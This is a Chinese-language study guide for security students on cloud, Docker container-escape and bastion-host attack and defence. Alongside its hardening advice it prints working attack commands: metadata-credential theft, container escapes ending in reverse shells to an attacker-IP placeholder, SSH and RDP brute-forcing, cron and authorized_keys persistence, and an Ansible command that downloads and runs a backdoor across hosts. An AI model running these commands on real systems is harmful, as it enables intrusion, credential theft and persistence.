云安全

第一部分:云安全基础与核心理念
在深入攻防之前,必须理解云环境与传统IT环境的根本区别,这些区别塑造了独特的攻击面和防御范式。
-
责任共担模型
- 核心理念:云安全是云服务提供商(CSP,如AWS、Azure、GCP、阿里云)和客户共同的责任。
- CSP责任:"保护云本身的安全"。即物理基础设施、网络干线、虚拟化层、核心服务(计算、存储、数据库)的底层安全。
- 客户责任:"保护自己在云中的内容"。包括身份与访问管理、操作系统/应用安全、数据加密、网络配置(安全组、ACL)、合规性配置。
- 攻防影响:攻击者会寻找"责任边界"的模糊地带或客户的配置失误。防御者必须清晰知道自己负责的每一个环节。
-
特性带来的新安全范式
- 资产动态性:虚拟机、容器实例可以快速创建和销毁。传统的基于固定IP的资产清单失效,需要实时的资产发现和安全管理。
- API驱动 :云的一切皆API。管理控制台、服务调用、自动化部署都通过API进行。攻击者将云API作为首要攻击目标。
- 身份成为新边界:在物理网络边界模糊的云中,对身份(用户、服务账户、角色)的精细权限管理,取代了传统的网络防火墙,成为最重要的安全边界。
- 配置即安全:一个错误的存储桶(如S3)公开配置或一个过于宽松的IAM策略,可能瞬间导致严重的数据泄露。
对象存储

1、权限配置错误
-公共读或公共读写:可完整访问但不显示完整结构
-权限 Bucket 授权策略:设置 ListObject 显示完整结构
-权限 Bucket 读写权限:公共读写直接 PUT 文件任意上传
2、域名解析 Bucket 接管:
Bucket 存储桶绑定域名后,当存储桶被删除而域名解析未删除,可以尝试接管!
当 Bucket 显示 NoSuchBucket 说明是可以接管的,如果显示 AccessDenied 则不行。
3、AccessKeyId,SecretAccessKey 泄漏:
-app,小程序,js中泄露导致
AccessKey标志性特征整理-查找
云数据库
元数据解释:
实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在
运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信息
:实例 ID、IP 地址、网卡 MAC 地址、操作系统类型等信息。实例标识包括实例标识文档
和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份。)
各大云元数据地址:
阿里云元数据地址:http://100.100.100.200/
腾讯云元数据地址:http://metadata.tencentyun.com/
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
细节方面可通过访问官网找元数据访问触发说明,阿里云例子:
https://help.aliyun.com/zh/ecs/user-guide/manage-instance-metadata
弹性计算-元数据&SSRF&AK
1、前提条件:
-弹性计算配置访问控制角色
-SSRF 漏洞或已取得某云服务器权限(webshell 或漏洞 rce 可以访问触发 url)
2、利用环境 1:获取某服务器权限后横向移动
-获取关键信息
curl http://100.100.100.200/latest/meta-data/
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
-获取临时凭证
http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs
-利用 AK 横向移动
CF 云渗透框架项目:https://wiki.teamssix.com/CF/
3、利用环境 2:某服务器上 Web 资产存在 SSRF 漏洞
-获取关键信息
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
-获取临时凭证
bash
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:21600"`
云数据库
1.账号密码:
源码配置中找到(几率高)或爆破手段(几率低)
2.连接获取:
白名单&外网 直接Navicat支持连接
内网需要其中内网某一个服务器做转发
3.Ak利用(权限提升)
CF 云渗透框架项目:https://wiki.teamssix.com/CF/
第二部分:攻击者视角 - 云上关键攻击路径详解
攻击者通常遵循"侦察 → 初始访问 → 横向移动/权限提升 → 目标达成(数据泄露、挖矿、破坏等)"的流程。在云环境中,这一流程高度特化。
阶段一:侦察与信息收集
- 被动侦察 :
- 公开信息:在GitHub、公开代码库中搜索硬编码的云访问密钥、IAM角色信息。
- 子域名枚举 :查找目标公司的云服务子域名(如
assets.s3.amazonaws.com,console.aliyun.com)。 - 云元数据服务探测:识别目标使用的云厂商,为后续攻击做准备。
- 主动侦察 :
- 存储桶枚举 :使用工具(如
s3scanner,cloud_enum)暴力猜测S3、OSS、Blob Storage的桶名,寻找配置错误的公开可读桶。 - 暴露的服务:扫描云端服务(如数据库、消息队列、Kubernetes API Server)的公网端点。
- 存储桶枚举 :使用工具(如
阶段二:初始访问
这是最关键的一步,常见入口点包括:
- 身份凭据泄露
- 途径:代码仓库泄露、钓鱼攻击(针对云控制台账户)、内部人员窃取。
- 利用:攻击者直接使用Access Key/Secret Key、用户名/密码或SSH密钥登录云控制台或调用API。
- 云元数据服务滥用
- 原理 :云实例内部可通过一个固定的本地HTTP端点(如AWS的
http://169.254.169.254/)访问元数据服务,获取该实例的临时安全令牌、角色信息等。 - 攻击:如果实例上运行的Web应用存在SSRF(服务器端请求伪造)漏洞,攻击者可诱骗服务器向元数据服务发起请求,窃取令牌,从而获得该实例所关联角色的权限。
- 原理 :云实例内部可通过一个固定的本地HTTP端点(如AWS的
- 配置错误的公开服务
- 公开的数据库(如Redis, MongoDB, ES):无认证直接访问,导致数据泄露或写入恶意代码。
- 公开的存储桶:下载敏感数据或上传Webshell(如果同时可写)。
- 漏洞利用
- 攻击云上虚拟机:利用应用或操作系统漏洞(如Log4j2),获取实例控制权。
- 攻击容器/K8s:利用容器逃逸漏洞(如CVE-2021-30465)或配置错误的K8s RBAC,从容器突破到宿主机或集群。
阶段三:权限提升与持久化
进入云环境后,攻击者首要目标是获取更高权限并建立持久化通道。
- IAM权限提升
- 原理 :利用有缺陷的IAM策略,将现有权限提升为管理员权限。例如,一个角色拥有
iam:CreatePolicyVersion权限,可以创建一个允许所有操作的新策略版本并设置为默认,从而实现权限提升。 - 工具 :使用开源工具如
Pacu(AWS),Stormspotter(Azure) 自动化探测权限提升路径。
- 原理 :利用有缺陷的IAM策略,将现有权限提升为管理员权限。例如,一个角色拥有
- 角色劫持
- 通过窃取的元数据令牌,假设该实例的IAM角色。如果该角色权限较高,攻击面迅速扩大。
- 持久化技术
- 创建后门用户/密钥:在获得足够权限后,创建一个新的IAM用户并赋予高权限。
- 修改Lambda函数/云函数:在无服务器函数中植入后门代码,使其定期与C2服务器通信。
- 劫持云原生服务:在对象存储中植入恶意脚本,通过云原生事件触发(如文件上传触发函数执行)。
阶段四:横向移动
- 内部网络侦察
- 利用云API列出同VPC/VNet下的其他实例、数据库、缓存服务。
- 扫描内网端口和服务。
- 利用可信关系
- VPC对等连接/云企业网:从一个被攻陷的账户/区域,通过已建立的对等连接,移动到更核心的网络环境。
- 跨账户角色:如果当前账户配置了可以"扮演"其他账户角色的信任策略,攻击者可以借此跳转到其他更重要的云账户。
阶段五:目标达成 - 数据泄露与资源滥用
- 数据泄露
- 直接窃取:将敏感数据从数据库、存储桶直接外传到攻击者控制的云存储或服务器。
- 隐蔽通道:利用DNS日志、云服务(如SQS)请求等合法流量,构建隐蔽信道外传数据。
- 资源滥用
- 加密货币挖矿:这是最常见的云入侵后果。攻击者利用被劫持的云计算资源(尤其是GPU实例)进行挖矿,导致客户产生巨额账单。
- 搭建C2服务器或代理网络:利用云服务器的高带宽和可信IP地址,搭建攻击基础设施。
第三部分:防御者视角 - 纵深防御体系构建
云上防御需要多层次、自动化、以身份和配置为中心的深度防御策略。
第一层:强化身份与访问管理
- 遵循最小权限原则 :为每个用户、服务角色分配刚好够用的权限,绝不使用通配符(如
*)。 - 启用多因素认证:对所有人类用户,特别是特权账户,强制启用MFA。
- 使用角色而非长期密钥:为工作负载(如EC2实例、Lambda函数)分配IAM角色,避免在代码中硬编码AK/SK。
- 定期轮换凭据与审计权限:使用自动化工具定期审计未使用的权限、过宽的策略。
第二层:安全的网络架构
- 网络分段:使用VPC/VNet、子网、安全组/NSG进行严格隔离。生产、测试、办公环境必须分置不同VPC。
- 禁用不必要的公网暴露:将数据库、缓存等后端服务置于私有子网,仅通过堡垒机或应用负载均衡器访问。
- 启用精细化流量监控:使用云原生流量日志(如VPC流日志、网络观察程序)或第三方工具进行异常流量分析。
第三层:主机与工作负载安全
- 镜像加固:使用经过安全加固的Golden Image来创建虚拟机或容器。
- 漏洞管理:对云主机和容器镜像进行定期的漏洞扫描。
- 运行时保护:在主机和容器层部署EDR/安全代理,检测异常进程、文件操作和网络连接。
- 服务器安全:对无服务器函数进行代码安全扫描,最小化依赖包,设置严格的执行超时和权限。
第四层:数据安全
- 加密无处不在 :
- 传输中加密:强制使用TLS。
- 静态加密:为所有存储服务(EBS, S3, RDS)启用服务端加密,并使用客户管理密钥(CMK)而非云平台默认密钥。
- 严格的存储桶策略:遵循"默认拒绝"原则,仅允许特定的IP或IAM身份访问。
第五层:日志、监控与自动化响应
- 集中化日志收集:启用所有云服务(CloudTrail, Config, VPC流日志,WAF日志,OSS访问日志)的审计日志,并送入SIEM或云原生日志分析服务(如Azure Sentinel, AWS Security Hub)。
- 威胁检测 :
- 使用CSPM:云安全态势管理工具(如Wiz, Lacework, CSP原生工具)持续扫描资源配置错误和合规性违反。
- 使用CWPP:云工作负载保护平台保护主机和容器。
- 使用DRPS:数据泄露防护系统监控数据出口路径。
- 设置告警 :对高危API调用(如
CreateUser,PutBucketPolicy)、异常地理位置登录、大量资源创建等设置实时告警。
- 自动化响应:利用云原生事件驱动架构(如AWS Lambda)实现自动修复。例如,检测到公开的S3桶时,自动触发函数将其改为私有。
第六层:安全文化与流程
- 基础设施即代码:使用Terraform, CloudFormation等定义基础设施,通过代码审查和静态扫描(如Checkov, TFsec)在部署前发现安全问题。
- DevSecOps集成:将安全扫描(SAST, DAST, SCA)嵌入CI/CD流水线。
- 定期红蓝对抗与渗透测试:在获得云厂商授权的前提下,定期对自身云环境进行攻击模拟,验证防御体系的有效性。
第四部分:总结与趋势
云上攻防是一个快速演变的领域。当前趋势包括:
- 攻击趋势:供应链攻击(污染公共容器镜像、第三方SaaS集成)、针对无服务器和容器环境的专项攻击、利用云服务进行攻击混淆(如将C2流量伪装成合法云API调用)。
- 防御趋势 :零信任架构 在云环境中的落地(从不信任,持续验证)、机密计算 (保护使用中的数据)、AI驱动的异常检测 、以及将CSPM、CWPP、CIEM(云基础设施权利管理)能力整合的统一云原生应用保护平台。
核心要义 :在云上,安全配置失误是最大的威胁 。防御者必须转变思维,从传统的"加固边界"转向 "管理身份、验证配置、监控行为、自动化响应" 的持续安全运营模式。攻防的胜负手,往往在于对云自身复杂性的理解和管理精细度上。
Docker安全
第一部分:Docker安全基础模型
1. 容器隔离的本质
Docker基于Linux内核的命名空间 和控制组技术实现隔离:
| 技术 | 作用 | 安全意义 |
|---|---|---|
| 命名空间 | 资源视图隔离(PID、网络、挂载、用户等) | 提供逻辑边界,不是安全边界 |
| 控制组(cgroups) | 资源限制(CPU、内存、IO) | 防止资源耗尽攻击 |
| Capabilities | 细分root权限为37种能力 | 最小权限原则的关键 |
| Seccomp | 系统调用过滤 | 限制攻击面 |
| AppArmor/SELinux | 强制访问控制 | 提供第二道防线 |
关键认知 :容器 ≠ 虚拟机。容器与宿主机共享内核,这决定了逃逸的基本攻击面。
第二部分:容器逃逸深度剖析
容器逃逸是指攻击者从受限的容器内部突破隔离,获取宿主机权限或访问其他容器。这是容器安全最严重的威胁。
逃逸分类与原理矩阵
容器逃逸路径
├── 配置不当引发的逃逸(最常见)
├── 内核漏洞利用逃逸(最直接)
├── 容器组件漏洞逃逸
├── 挂载逃逸
└── 逻辑漏洞逃逸
1. 配置不当引发的逃逸
1.1 特权模式逃逸
bash
# 危险的运行方式
docker run --privileged -it alpine /bin/sh
原理:
-
--privileged标志赋予了容器所有Capabilities -
禁用Seccomp、AppArmor等安全机制
-
可以访问所有设备(
/dev) -
逃逸方法 :
1bash# 在特权容器内 mkdir /tmp/host mount /dev/sda1 /tmp/host # 挂载宿主机磁盘 chroot /tmp/host /bin/bash # 切换到宿主机根 # 现在你已经"逃逸"到宿主机环境2

1.2 危险挂载逃逸
bash
# 危险挂载示例
docker run -v /:/host:rw -it alpine /bin/sh
docker run --device=/dev/sda:/dev/sda -it alpine /bin/sh
挂载Docker Socket逃逸(经典攻击):
bash
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
原理:
-
Docker Socket(
/var/run/docker.sock)是Docker守护进程的API接口 -
容器内挂载后,可以直接与宿主机Docker通信
-
逃逸步骤 :
bash# 在容器内部 apk add curl docker-cli # 通过socket与宿主机docker通信 # 方式1:创建新容器并挂载宿主机根目录 docker run -d --privileged -v /:/host ubuntu tail -f /dev/null # 方式2:直接创建反弹shell容器 docker run -it --rm -v /:/host --privileged ubuntu \ chroot /host /bin/bash -c "bash -i >& /dev/tcp/攻击者IP/4444 0>&1"

1.3 Capabilities滥用逃逸
Linux Capabilities将root权限细分,但某些能力组合很危险:
危险能力组合:
CAP_SYS_ADMIN:近似管理员权限CAP_SYS_PTRACE:可调试其他进程CAP_SYS_MODULE:可加载内核模块CAP_DAC_READ_SEARCH:可绕过文件权限检查
逃逸示例(CAP_SYS_ADMIN + cgroups release_agent):
bash
# 使用SYS_ADMIN能力运行容器
docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -it ubuntu bash
bash
# 容器内操作
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 当最后一个进程退出时,宿主机将执行cmd文件
2. 内核漏洞利用逃逸
这类逃逸最直接,利用内核漏洞突破命名空间隔离。
经典漏洞案例:
CVE-2016-5195 (Dirty COW)
- 类型:竞争条件漏洞
- 影响:提权 + 逃逸
- 原理 :利用
get_user_pages的竞态条件,将只读内存映射变为可写 - 容器利用 :修改宿主机文件(如
/etc/passwd、/etc/crontab)
CVE-2019-5736 (runc容器逃逸)
-
类型:容器运行时漏洞
-
原理 :
- 覆盖宿主机上的
/proc/self/exe(runc二进制文件) - 当宿主机管理员执行
docker exec时,会执行被恶意替换的runc - 获得宿主机root权限
- 覆盖宿主机上的
-
PoC核心 :
go// 打开/proc/self/exe(指向runc) fd, _ := os.OpenFile("/proc/self/exe", os.O_RDONLY, 0) // 通过/proc/self/fd/[num]保持打开状态 // 覆盖宿主机runc文件
CVE-2021-22555 (Netfilter越界写入)
- 影响:2004年以来的Linux内核
- 可用于容器逃逸和提权
内核漏洞逃逸通用模式:
- 信息收集:识别内核版本、容器配置
- 漏洞利用:使用编译好的exp或现场编译
- 突破命名空间 :
- 调用
unshare(CLONE_NEWNS)创建新挂载命名空间 - 或通过/proc/self/ns/下的符号链接直接访问宿主机命名空间
- 调用
- 持久化:写入宿主机文件或cron任务
3. 容器组件漏洞逃逸
3.1 runc漏洞
bash
# CVE-2019-14271:docker cp漏洞
docker cp mycontainer:/etc/passwd ./
# 如果容器内包含恶意符号链接,可能读取宿主机文件
3.2 containerd漏洞
CVE-2020-15257 (shim API暴露)
-
原理:containerd-shim API通过抽象socket暴露
-
攻击者可创建恶意容器访问该socket
-
利用 :
bash# 容器内 # 发现shim socket find / -name "*.sock" 2>/dev/null # 使用grpc客户端与shim通信,创建新容器
4. 挂载逃逸技术
4.1 procfs/sysfs敏感挂载
bash
# 如果/proc以rw挂载
docker run -v /proc:/host/proc:rw -it ubuntu bash
bash
# 容器内逃逸
# 方法1:通过/proc/sys/kernel/core_pattern
echo '|/tmp/exploit' > /host/proc/sys/kernel/core_pattern
# 触发崩溃,执行exploit
# 方法2:通过/proc/[pid]/root符号链接
ls -la /proc/1/root # 这是宿主机的根目录!
cat /proc/1/root/etc/shadow
4.2 设备文件逃逸
bash
# 访问宿主机内存
docker run --device=/dev/mem:/dev/mem -it ubuntu bash
# 容器内可以使用工具(如memdump)读取宿主机内存
5. 用户命名空间逃逸
bash
# 如果容器以root运行,且未启用用户命名空间重映射
# 容器内的root就是宿主机root(在容器外相同的UID)
# 攻击宿主机文件:
echo "evil" >> /proc/1/root/etc/crontab
第三部分:防御体系构建
1. 安全基准配置(CIS Docker Benchmark)
bash
# 最小化配置示例
docker run \
--read-only \ # 只读根文件系统
--cap-drop=ALL \ # 删除所有能力
--cap-add=NET_BIND_SERVICE \ # 仅添加必需能力
--security-opt=no-new-privileges \ # 禁止提权
--security-opt=seccomp=profile.json \ # 自定义seccomp
--security-opt=apparmor=docker-default \
--memory=256m \ # 内存限制
--pids-limit=100 \ # 进程数限制
-it alpine sh
2. 运行时安全监控
bash
# 使用falco监控可疑行为
falco -r /etc/falco/falco_rules.yaml
# 关键监控规则:
- 容器内运行特权命令
- 敏感目录挂载
- 与Docker Socket交互
- 系统调用异常序列
3. 漏洞管理与镜像安全
yaml
# Dockerfile安全示例
FROM alpine:latest
RUN adduser -D appuser && \
apk add --no-cache必要包 && \
rm -rf /var/cache/apk/*
USER appuser # 非root用户运行
COPY --chown=appuser:appuser app /app
WORKDIR /app
CMD ["./app"]
镜像扫描工具:
- Trivy:
trivy image myimage - Grype
- Clair
4. 网络隔离与策略
yaml
# docker-compose.yml网络安全
version: '3.8'
services:
app:
networks:
- frontend
deploy:
labels:
- "com.docker.network.bridge.enable_icc=false" # 禁止容器间通信
networks:
frontend:
driver: bridge
internal: true # 内部网络,不对外
5. 安全工具栈推荐
| 类别 | 工具 | 用途 |
|---|---|---|
| 静态扫描 | Trivy, Snyk, Clair | 镜像漏洞扫描 |
| 运行时防护 | Falco, Tracee, Aqua | 行为监控与检测 |
| 策略执行 | OPA, Kyverno | 策略即代码 |
| 秘密管理 | HashiCorp Vault, Sealed Secrets | 密钥安全 |
| 认证授权 | Notary, Docker Content Trust | 镜像签名验证 |
第四部分:实战演练环境搭建
1. 故意不安全的实验室环境
bash
# 1. 创建特权容器(用于学习)
docker run --name vulnerable \
--privileged \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /:/host \
--cap-add=ALL \
-it ubuntu:latest bash
# 2. 在容器内尝试各种逃逸技术
# 练习挂载逃逸、socket逃逸等
2. 使用CTF平台学习
- Vulhub:包含多个容器漏洞环境
- DVWA (Docker版):Web漏洞+容器逃逸组合
- Katacoda Docker Security场景
- TryHackMe的容器安全房间
3. 自制漏洞环境
dockerfile
# Dockerfile-vuln
FROM ubuntu:20.04
RUN apt update && apt install -y sudo
RUN useradd -m -s /bin/bash test
RUN echo "test:test" | chpasswd
RUN echo "test ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
RUN chmod u+s /bin/mount # SUID设置
USER test
CMD ["/bin/bash"]
第五部分:学习路径建议(信安学生版)
第一阶段:基础理解(1-2周)
- 深入理解Linux命名空间、cgroups原理
- 动手创建容器,观察
/proc/[pid]/ns/下的符号链接 - 学习Docker安全配置参数
第二阶段:漏洞研究(2-3周)
- 复现经典CVE:
- CVE-2019-5736 (runc逃逸)
- CVE-2020-15257 (containerd-shim)
- CVE-2021-30465 (runC符号链接逃逸)
- 分析PoC代码,理解漏洞根本原因
第三阶段:攻防实战(持续)
- 搭建靶场,尝试不同逃逸技术
- 使用安全工具检测攻击
- 编写自己的监控规则(如Falco规则)
第四阶段:深入研究(拓展)
- Kubernetes安全:Pod逃逸、RBAC滥用
- 服务网格安全:mTLS、Envoy配置
- 云原生安全:CNAPP(云原生应用保护平台)
第六部分:常见问题(FAQ)
Q1:容器内如何检测是否可逃逸?
bash
# 信息收集脚本
#!/bin/bash
echo "1. 检查特权模式:"
ls -la /proc/self/status | grep CapEff
echo "2. 检查挂载:"
mount | grep -E "(docker.sock|/proc|/sys|/dev)"
echo "3. 检查能力:"
capsh --print
echo "4. 检查内核版本:"
uname -a
echo "5. 检查设备文件:"
ls -la /dev/ | grep -E "(mem|sda|tty)"
echo "6. 检查用户命名空间:"
readlink /proc/self/ns/user
Q2:最危险的配置是什么?
组合拳最危险:
特权模式(--privileged) +
Docker Socket挂载 +
/proc以rw挂载 +
以root用户运行 +
无Seccomp/AppArmor
Q3:作为开发者如何避免?
- 永远不要 使用
--privileged - 永远不要挂载Docker Socket到容器
- 使用非root用户运行进程
- 定期更新Docker和内核
- 实施镜像签名和漏洞扫描
总结
容器逃逸的核心在于理解隔离的局限性。攻击者寻找的是:
- 配置缺陷(过度授权)
- 内核漏洞(突破隔离层)
- 组件漏洞(运行时缺陷)
作为信安学生,建议你:
- 从原理入手,理解Namespace、Cgroups、Capabilities
- 动手实验,在受控环境中复现漏洞
- 关注最新研究,容器安全领域发展迅速
- 思维转变:容器安全是"纵深防御",没有银弹
记住:安全不是特性,而是属性。它必须贯穿于容器生命周期的每一个阶段------从镜像构建、部署配置到运行时监控。
推荐资源:
- 书籍:《Container Security》(Liz Rice)
- 博客:Snyk容器安全报告、Aqua Security博客
- 工具:Docker Bench Security(CIS基准检查)
- 会议:KubeCon CloudNativeCon安全议题
堡垒机安全

第一部分:堡垒机基础与核心理念
1. 什么是堡垒机?
堡垒机(Bastion Host/Jump Server)是一个经过特殊加固、位于网络边界、作为唯一入口访问内部网络的服务器 。它的核心设计遵循"城堡与吊桥"模型:
- 城堡:受保护的内部网络(敏感区、生产环境)
- 吊桥:堡垒机是唯一放下/收起(允许/拒绝访问)的通道
- 护城河:网络隔离(DMZ区)
2. 为什么需要堡垒机?
- 收敛攻击面:将成千上万内网服务的对外访问入口,收敛到一个点。
- 统一审计:所有运维操作都有统一、不可抵赖的日志记录。
- 权限控制:实现基于角色的精细权限管理(RBAC)。
- 安全加固:单点进行最高级别的安全加固,比加固所有内网机器更可行。
3. 典型网络架构
互联网
|
[ 防火墙 ] -- 规则:仅允许特定IP访问堡垒机22/3389端口
|
[ 堡垒机/跳板机 ] (位于DMZ区,双网卡)
| (内网网卡,通常无公网IP)
|
------------------- (内网安全边界)
|
[ 核心内网 ] (数据库、应用服务器、域控等)
关键点 :堡垒机是"内外网的中转站",攻击者一旦控制堡垒机,就相当于拿到了进入内网的"万能钥匙"。
第二部分:攻击者视角 - 如何突破堡垒机进入内网
攻击者的目标是:从外网 → 控制堡垒机 → 以此为跳板横向移动至内网核心资产。
阶段一:信息收集与外部侦察
-
识别堡垒机
- 端口扫描:发现开放SSH(22)、RDP(3389)、Web管理端口(443)的IP
- Banner抓取 :
nc -nv 目标IP 22,可能返回"Bastion Host"等标识 - 子域名枚举 :
bastion.、jump.、vpn.、admin.等常见子域 - 证书分析:通过证书透明度日志寻找管理后台
- 员工疏忽:GitHub代码、文档中泄露的跳板机地址
-
探测攻击面
- 识别操作系统(Linux/Windows)
- 识别服务版本(OpenSSH 8.2p1, Windows RDP等)
- Web管理界面指纹识别(齐治、帕拉迪、Citrix等品牌)
阶段二:初始入侵 - 攻击堡垒机本身
这是最关键的步骤。堡垒机自身可能存在的漏洞:
路径1:利用堡垒机软件漏洞
-
商业堡垒机漏洞:
- 历史案例:某知名堡垒机硬编码密码、SQL注入、RCE漏洞(如某堡垒机任意用户登录+命令执行)
- 攻击方法:搜索对应型号的漏洞和EXP
bash# 示例:某堡垒机RCE漏洞利用 curl -X POST "https://bastion.company.com/api/v1/exec" \ -H "Cookie: session=伪造会话" \ -d "cmd=id&host=192.168.1.1" -
开源堡垒机漏洞:
- Jumpserver:历史漏洞如CVE-2020-14295、CVE-2021-3129
- Teleport 、Guacamole:需关注其安全公告
路径2:攻击身份认证机制
-
弱口令爆破
- SSH爆破:
hydra -l root -P pass.txt ssh://bastion.ip - RDP爆破:
crowbar -b rdp -s 192.168.1.1/32 -U users.txt -C passwords.txt - Web管理后台爆破:使用Burp Suite Intruder
- SSH爆破:
-
证书私钥泄露
- 从GitHub、网盘、备份文件中寻找私钥
- 使用泄露的私钥连接:
ssh -i leaked_key.pem user@bastion
-
双因素认证绕过
- 短信验证码爆破:某些实现可暴力破解(000000-999999)
- TOTP种子窃取:通过XSS、木马获取种子文件
- 逻辑漏洞:"记住本设备"功能可能生成持久令牌
-
单点登录漏洞
- SAML/ OAuth/ OIDC实现缺陷(如签名验证缺失)
- 可以构造恶意断言,冒充任何用户登录堡垒机
路径3:社工与供应链攻击
- 鱼叉钓鱼:伪装成管理员,发送"堡垒机升级通知"邮件,诱导点击恶意链接下载后门。
- 水坑攻击:在运维常访问的技术论坛挂马,获取其客户端凭证。
- 供应商后门:堡垒机厂商被入侵,软件更新包被植入后门。
路径4:攻击客户端或管理终端
- 攻击运维人员的个人电脑(通过Office漏洞、Chrome 0day等)
- 窃取其浏览器中保存的堡垒机密码、SSH-agent socket
- 经典案例:通过恶意Word文档获取RDP凭据,然后连接堡垒机
阶段三:立足堡垒机 - 权限提升与持久化
一旦获得堡垒机普通用户权限,下一步是提权和持久化。
1. 权限提升(Linux堡垒机示例)
bash
# 1. 信息收集
id
sudo -l # 查看sudo权限,经常配置失误!
find / -perm -4000 -type f 2>/dev/null # SUID文件
cat /etc/passwd; cat /etc/shadow # 尝试读取
env # 查看环境变量,可能有密码
# 2. 利用配置错误
# 场景:sudo允许以root身份执行任意命令
# sudoers文件:bastion-user ALL=(ALL) NOPASSWD: ALL
sudo bash # 直接获得root shell
# 3. 内核漏洞提权
uname -a # 查看内核版本
searchsploit linux kernel 3.10 # 搜索漏洞
# 上传编译好的exp(如dirtycow)并执行
2. 持久化后门
bash
# 1. SSH后门
# 修改 ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys
# 2. 定时任务
echo "* * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1" >> /tmp/cron_job
crontab /tmp/cron_job
# 3. 系统服务后门
# 修改 /etc/systemd/system/ 下的服务文件,添加反向shell
# 或创建新的服务
阶段四:横向移动 - 从堡垒机进入核心内网
这是攻击的最终目的。堡垒机通常有到内网的双向或单向信任关系。
场景1:堡垒机作为SSH跳板
bash
# 管理员通常这样连接内网
ssh -J bastion_user@堡垒机IP 内部服务器用户@内部服务器IP
# 攻击者视角:
# 1. 查看ssh配置
cat ~/.ssh/config
# 可能发现配置好的跳转规则
# 2. 查看已知主机
cat ~/.ssh/known_hosts # 内网服务器指纹
# 3. 查看历史命令
history | grep -i ssh
# 可能看到:ssh admin@192.168.10.20, ssh root@mysql-01
# 4. 直接利用现有连接进行跳转
# 如果攻击者控制了堡垒机,且运维人员正在使用ssh-agent转发
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.12345
ssh 内部服务器用户@内部服务器IP # 直接连接,无需密码!
场景2:密码/密钥仓库
堡垒机上可能存储大量内网凭据:
bash
# 查找密码文件
find / -name "*pass*" -type f 2>/dev/null
find / -name "*cred*" -type f 2>/dev/null
find /home -name ".vault" -type f 2>/dev/null
# 查看配置文件
cat /etc/ansible/hosts # Ansible库存,可能有密码
cat /root/.aws/credentials # AWS密钥
cat ~/.pgpass # PostgreSQL密码
# 检查密码管理器
# 如KeePass数据库文件(.kdbx)、LastPass CLI等
场景3:端口转发与SOCKS代理
建立通道,使攻击者的机器能直接访问内网:
bash
# 1. 动态端口转发(SOCKS代理)
ssh -D 1080 -N -f 攻击者控制用户@堡垒机IP
# 然后在攻击者机器配置浏览器代理为SOCKS5:127.0.0.1:1080
# 浏览器可以直接访问内网Web服务
# 2. 本地端口转发
ssh -L 3389:内网服务器IP:3389 堡垒机用户@堡垒机IP -N -f
# 然后攻击者mstsc连接127.0.0.1:3389,即可连接内网RDP
# 3. 远程端口转发(反向隧道,用于出网限制)
# 在堡垒机上执行(如果出站策略允许)
ssh -R 2222:localhost:22 攻击者@攻击者IP -N -f
# 然后攻击者 ssh -p 2222 localhost 即可获得堡垒机shell
场景4:利用堡垒机的特权角色
- 堡垒机可能加入域,且有域管理员权限
- 堡垒机可能有Ansible、SaltStack、Puppet管理权限,可批量执行命令
- 堡垒机可能配置了免密sudo到所有内网机器
bash
# 利用Ansible批量控制内网
ansible all -i production_hosts -m shell -a "wget http://恶意服务器/backdoor.sh -O /tmp/bd.sh && bash /tmp/bd.sh"
场景5:ARP欺骗与网络嗅探
如果堡垒机是网络枢纽:
bash
# 安装嗅探工具
apt install tcpdump
# 监听内网流量
tcpdump -i eth1 -w internal_traffic.pcap # eth1是内网网卡
# 分析获取FTP、Telnet、HTTP明文密码
第三部分:防御者视角 - 堡垒机安全加固体系
1. 网络层加固
yaml
防火墙规则建议:
- 入口规则:
- 仅允许企业办公网IP段访问堡垒机SSH/RDP端口
- 如有必要开放外网,仅限特定管理IP
- 设置基于时间的访问控制(如仅工作日9-18点)
- 出口规则(堡垒机 → 内网):
- 仅允许访问必要的内网服务端口(如SSH 22, RDP 3389, WinRM 5985)
- 禁止堡垒机主动访问互联网(防止数据外传)
- 允许访问内部DNS、NTP、补丁服务器
- 出口规则(堡垒机 → 互联网):
- 仅允许访问必要地址(如厂商更新、威胁情报源)
- 禁止所有其他出站连接
2. 系统层加固
bash
# Linux堡垒机加固要点
# 1. 最小化安装
# 2. 强制SSH密钥认证,禁用密码
# 在 /etc/ssh/sshd_config 中:
PasswordAuthentication no
PermitRootLogin no
AllowUsers bastion_admin # 白名单用户
# 3. 启用审计
apt install auditd
auditctl -a always,exit -F arch=b64 -S execve # 审计所有命令执行
# 4. 文件完整性监控
apt install aide
aideinit
# 定期检查: aide --check
# 5. 配置严格的文件权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
3. 身份认证强化
-
必须使用多因素认证(MFA) :
- SSH: 使用Google Authenticator PAM模块
- RDP: 使用Duo、Azure MFA插件
-
证书管理 :
- 使用硬件令牌(YubiKey)或智能卡
- 定期轮换密钥(如每90天)
- 实施证书吊销机制
-
基于角色的访问控制(RBAC) :
